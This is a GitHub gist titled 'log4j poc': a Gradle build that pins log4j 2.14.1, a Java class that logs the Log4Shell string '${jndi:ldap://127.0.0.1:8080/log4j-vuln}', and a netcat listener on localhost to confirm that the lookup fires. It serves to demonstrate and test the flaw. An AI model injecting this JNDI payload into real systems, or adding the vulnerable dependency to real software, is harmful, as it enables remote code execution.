Skip to content

Instantly share code, notes, and snippets.

@punmechanic
Created December 11, 2021 22:41
Show Gist options
  • Save punmechanic/5575322e1a3506a3b422342ae23580f3 to your computer and use it in GitHub Desktop.
Save punmechanic/5575322e1a3506a3b422342ae23580f3 to your computer and use it in GitHub Desktop.
log4j poc
plugins {
id "java-library"
id "application"
}
repositories {
mavenCentral()
}
dependencies {
implementation "org.apache.logging.log4j:log4j-api:2.14.1"
implementation "org.apache.logging.log4j:log4j-core:2.14.1"
}
application {
mainClass = "main.Main"
}
// place this in src/main/java
package main;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Main {
public static void main(String[] args) {
Logger log = LogManager.getLogger();
log.error("Test {}", "${jndi:ldap://127.0.0.1:8080/log4j-vuln}");
}
}
#!/bin/sh
gradle run
#!/bin/sh
nc -kl 127.0.0.1 8080
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment